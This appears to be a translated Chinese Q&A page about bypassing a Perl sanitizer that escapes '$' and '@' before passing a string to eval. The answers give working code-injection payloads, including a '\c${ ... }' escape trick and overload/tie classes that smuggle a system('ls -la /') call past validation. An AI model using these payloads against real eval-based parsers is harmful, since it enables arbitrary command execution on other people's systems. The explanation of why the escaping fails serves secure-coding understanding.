如何解决Perl越狱
给定以下 Perl 代码,如果他们控制 $foo
,如何获得代码执行?
sub Parse($)
{
my $dataPt = shift;
my (@toks,$tok,$more);
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = Parse($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt,$pos,pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
print("here\n");
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols,and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace,braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks,$tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
$foo = '(test(foo "bar"))';
$ref = \$foo;
ParseAnt $ref;
我相信有一种方法可以强制解析函数在由 eval 处理之前在 $tok 变量中包含一个未转义的双引号,但我没有成功这样做。
我无法提供更多信息,因为此代码片段用于生产。
编辑
由于对问题的(善意的)更改碰巧使早期答案无效,因此我添加了此注释以及为读者提供方便的原始版本(无论如何都可以在修订版中看到)---
这个问题的原始版本:
给定以下 Perl 代码,如果他们控制 $str
,如何获得代码执行?
my $str = "malicious payload";
die if $str =~ /"/;
$str =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
eval qq{"$str"};
解决方法
您可以利用 \c
来处理插入的转义字符。
\c${ print qq{0wn3d\n}; \'' }
关键代码是
$str =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
这个答案重点关注这一点,因为这是最初提供的全部内容。
注入代码有两种方式:
-
关闭字符串文字。
这将需要输入中的文字
"
,或者由验证器生成。 -
使用允许嵌入代码的结构。
这些是:
$BLOCK
@BLOCK
-
$NAME[ EXPR ]
、$NAME->[ EXPR ]
、$BLOCK[ EXPR ]
、$$NAME[ EXPR ]
-
@NAME[ EXPR ]
、$NAME->@[ EXPR ]
、@BLOCK[ EXPR ]
、@$NAME[ EXPR ]
-
$NAME{ EXPR }
、$NAME->{ EXPR }
、$BLOCK{ EXPR }
、$$NAME{ EXPR }
-
@NAME{ EXPR }
、$NAME->@{ EXPR }
、@BLOCK{ EXPR }
、@$NAME{ EXPR }
EXPR
和BLOCK
都可以包含可执行代码。有多种方法可以将这些序列转化为字符串。
- 欺骗验证者认为某些东西已经逃脱了。
- 导致逃跑被视为其他事情。
- 欺骗验证器转义已经转义序列的内容。
- 通过从中间删除字符。
- 以某种方式利用
$$
或$\
。
该代码段的目的是像 Perl 一样处理 \
转义符。[1]我们可以利用 \c
来处理转义符。 \c
吃掉下一个字符,因此我们可以在 $
之前使用每个验证器尝试转义 $
。
\c${ print qq{0wn3d\n}; \'' }
变成
"\c\${ print qq{0wn3d\n}; \'' }"
这意味着
do { print qq{0wn3d\n}; chr(0x1C) }
感谢@bananabr 找到\c
。
- 这本身肯定是一个错误。为您的语言的转义编写一个解析器。
{ package Jail::Breaker;
use overload
'""' => sub {
my ($self) = @_;
if ($self->[0]++ < 1) {
return $self->[1]
} else {
return qq(";system '$self->[1]';")
}
},fallback => 1;
sub new {
my ($class,$string) = @_;
bless [0,$string],$class
}
}
my $str = 'Jail::Breaker'->new('ls -la /');
die 'invalid' if $str =~ /"/;
$str =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
eval qq{"$str"};
或者,类似地,
{ package Jail::Breaker;
use Tie::Scalar;
use parent -norequire => 'Tie::StdScalar';
my $fetched;
sub FETCH {
my ($self) = @_;
if ($fetched++) {
return qq(";system'$$self';")
} else {
return $$self
}
}
}
tie my $str,'Jail::Breaker','ls -la /';
...
这两种解决方案都使用一个对象,该对象在第一次读取时返回其他内容,稍后读取时返回“evil”字符串。